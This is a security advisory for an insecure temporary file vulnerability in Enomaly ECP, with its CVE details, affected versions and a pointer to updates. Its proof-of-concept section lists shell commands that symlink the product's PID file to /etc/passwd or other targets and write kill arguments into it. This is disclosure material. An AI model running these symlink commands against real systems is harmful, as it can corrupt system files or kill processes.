Enomaly ECP Insecure Temporary File Creation Vulnerability
BID:33544
Info
Enomaly ECP Insecure Temporary File Creation Vulnerability
| Bugtraq ID: | 33544 |
| Class: | Design Error |
| CVE: |
CVE-2008-4990 CVE-2009-0390 |
| Remote: | No |
| Local: | Yes |
| Published: | Jan 30 2009 12:00AM |
| Updated: | Feb 17 2009 06:58PM |
| Credit: | Sam Johnston of Australian Online Solutions |
| Vulnerable: |
Enomaly Elastic Computing Platform (ECP) 2.1.1 Enomaly Elastic Computing Platform (ECP) 2.1 |
| Not Vulnerable: |
Enomaly Elastic Computing Platform (ECP) 2.1.1[6] |
Discussion
Enomaly ECP Insecure Temporary File Creation Vulnerability
Enomaly ECP (Elastic Computing Platform) creates temporary files in an insecure manner.
An attacker with local access could potentially exploit this issue to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application.
Successfully mounting a symlink attack may allow the attacker to delete or corrupt sensitive files, which may result in a denial of service. Other attacks may also be possible.
Versions prior to ECP 2.1.1[6] are vulnerable.
Enomaly ECP (Elastic Computing Platform) creates temporary files in an insecure manner.
An attacker with local access could potentially exploit this issue to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application.
Successfully mounting a symlink attack may allow the attacker to delete or corrupt sensitive files, which may result in a denial of service. Other attacks may also be possible.
Versions prior to ECP 2.1.1[6] are vulnerable.
Exploit / POC
Enomaly ECP Insecure Temporary File Creation Vulnerability
An attacker uses readily available commands to exploit this issue.
The following example commands are available:
% while true; do ln -s /etc/passwd /tmp/enomalism2.pid; done
% echo "-9 1" > /tmp/enomalism2.pid
% ln -s /tmp/root /tmp/enomalism2.pid
% chgrp beetroot /tmp/enomalism2.pid
An attacker uses readily available commands to exploit this issue.
The following example commands are available:
% while true; do ln -s /etc/passwd /tmp/enomalism2.pid; done
% echo "-9 1" > /tmp/enomalism2.pid
% ln -s /tmp/root /tmp/enomalism2.pid
% chgrp beetroot /tmp/enomalism2.pid
Solution / Fix
Enomaly ECP Insecure Temporary File Creation Vulnerability
Solution:
Updates are available. Please see the references for more information.
Solution:
Updates are available. Please see the references for more information.
References
Enomaly ECP Insecure Temporary File Creation Vulnerability
References:
References:
- Vendor Homepage (Enomaly)
- CVE-2008-4990 Enomaly ECP/Enomalism: Insecure temporary file creation vulnerabil (Sam Johnston
- Enomaly ECP/Enomalism: Multiple vulnerabilities in enomalism2.sh (redux) (Sam Johnston